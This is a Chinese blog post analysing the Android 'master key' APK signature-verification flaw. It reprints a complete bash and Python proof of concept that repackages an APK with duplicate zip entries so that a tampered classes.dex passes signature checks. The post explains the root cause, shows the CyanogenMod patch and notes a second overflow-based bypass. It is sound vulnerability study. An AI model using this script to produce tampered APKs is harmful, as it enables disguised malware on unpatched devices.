Android签名验证漏洞POC及验证

poc实际上就是一段漏洞利用代码,以下是最近炒得很火Android签名验证漏洞POC,来自https://gist.github.com/poliva/36b0795ab79ad6f14fd8

 1 #!/bin/bash
 2 # PoC for Android bug 8219321 by @pof
 3 # +info: https://jira.cyanogenmod.org/browse/CYAN-1602
 4 if [ -z $1 ]; then echo "Usage: $0 <file.apk>" ; exit 1 ; fi
 5 APK=$1
 6 rm -r out out.apk tmp 2>/dev/null
 7 java -jar apktool.jar d $APK out
 8 #apktool d $APK out
 9 echo "Modify files, when done type 'exit'"
10 cd out
11 bash
12 cd ..
13 java -jar apktool.jar b out out.apk
14 #apktool b out out.apk
15 mkdir tmp
16 cd tmp/
17 unzip ../$APK
18 mv ../out.apk .
19 cat >poc.py <<-EOF
20 #!/usr/bin/python
21 import zipfile 
22 import sys
23 z = zipfile.ZipFile(sys.argv[1], "a")
24 z.write(sys.argv[2])
25 z.close()
26 EOF
27 chmod 755 poc.py
28 for f in `find . -type f |egrep -v "(poc.py|out.apk)"` ; do ./poc.py out.apk "$f" ; done
29 cp out.apk ../evil-$APK
30 cd ..
31 rm -rf tmp out
32 echo "Modified APK: evil-$APK"

以上代码可以分成两个部分:

1.修改并重打包apk文件

      首先用apktool将目标apk反编译,修改代码后再重打包为out.apk  

反编译:java -jar apktool.jar d $APK out
修改代码
重打包:java -jar apktool.jar b out out.apk

2.解压原apk将修改后的apk压缩在同一个包中

具体过程是:先创建一个临时文件夹tmp,将原apk解压到该文件夹下,然后将out.apk也复制到该文件夹下,然后执行以下shell命令

chmod 755 poc.py
#在当前目录下查找除poc.py和out.apk之外的文件file, 并执行./poc.py out.apk file
for f in `find . -type f |egrep -v "(poc.py|out.apk)"` ; do ./poc.py out.apk "$f" ; done

其中poc.py的功能是解压out.apk,并将其与当前目录中除poc.py和out.apk之外的文件压缩在一起。

1 #!/usr/bin/python
2 import zipfile 
3 import sys
4 z = zipfile.ZipFile(sys.argv[1], "a")
5 z.write(sys.argv[2])
6 z.close()

 以下是该poc作者的说明:

 I'm duplicating entries inside the apk (original entries + rebuilt entries). The hashes in META-INF folder are from the original signed files, which are checked for signature, but the ones that end up being installed on the device are the duplicated ones.

      意思就是说在一个apk包里面部署了2个entryName="classes.dex"的文件:一个是原装的即跟原来签名一致的dex,一个是篡改了的也就是签名不一致的,且恶意的在压缩包字典中位于正常的之前。在安装时解析apk进行签名校验,当entryName相同时,正常的dex会覆盖篡改的dex文件信息,这样就能顺利通过APK证书签名验证过程。而在安装完毕后,真正执行并启动文件使用的是修改过的classex.dex。 

  由上可知,构造一个同名的entry,即在一个zip里面放置2个同名dex文件是该漏洞利用的关键。

  以下转自http://lcx.cc/?i=3734

原理简述

由于ZIP格式允许存在两个或以上完全相同的路径,而安卓系统没有考虑这种场景。在该情况下,android包管理器校验签名取的是最后一个文件的hash,而运行APK加载的dex文件却是zip的第一个dex文件。

包管理器验证签名验的是最后一个(名字相同情况下)文件。

1. 解析zip的所有Entry,结果存到HashMap(key为路径,value为Entry)。

zip Entry HashMap

2. 由于HashMap.put在相同key的情况下,会把value更新,导致上述的HashMap在相同路径下,存储的一定是最后一个文件的Entry。

Entry

系统加载dex文件,加载的是第一个dex。

1. 查找dex的Entry用的是dexZipFindEntry。

dexZipFindEntry

2. dexZipFindEntry的实现是只要match就返回,所以返回的都是第一个文件。

dexZipFindEntry

CyanogenMod的修复原理

原代码:

for(int i =0; i < numEntries;++i){ZipEntry newEntry =newZipEntry(hdrBuf, bin);
    mEntries.put(newEntry.getName(), newEntry);}

修补后:

for(int i =0; i < numEntries;++i){ZipEntry newEntry =newZipEntry(hdrBuf, bin);String entryName = newEntry.getName();if(mEntries.put(entryName, newEntry)!=null){thrownewZipException("Duplicate entry name: "+ entryName);}}

关键代码为if (mEntries.put(entryName, newEntry) != null) {

该put为HashMap的put,key不存在返回null,反之返回原值。也就是说APK的Entry链存在2个或以上相同的路径即抛出异常

CyanogenMod的修复代码

相关内容:

Android uncovers master-key 漏洞分析

Bluebox Security提报Android 绕过应用签名认证漏洞原理

  

补充:第二个andorid签名漏洞

  http://blog.csdn.net/androidsecurity/article/details/9984085

  第二个andorid签名漏洞,zip格式中的extra filed length大于2^15时会整数溢出变成负数,造成字段索引错误,无法跳过file name 与 extra field,就可以在这两个域放原class.dex文件,后面再跟恶意dex,从而绕过签名检验。但被攻击的Apk里的classes.dex大小必须 在64K以内。否则,就无法对其进行攻击,利用场景比较受限。(http://www.blogbus.com/riusksk-logs/235312099.html

原文地址:https://www.cnblogs.com/goodhacker/p/3180909.html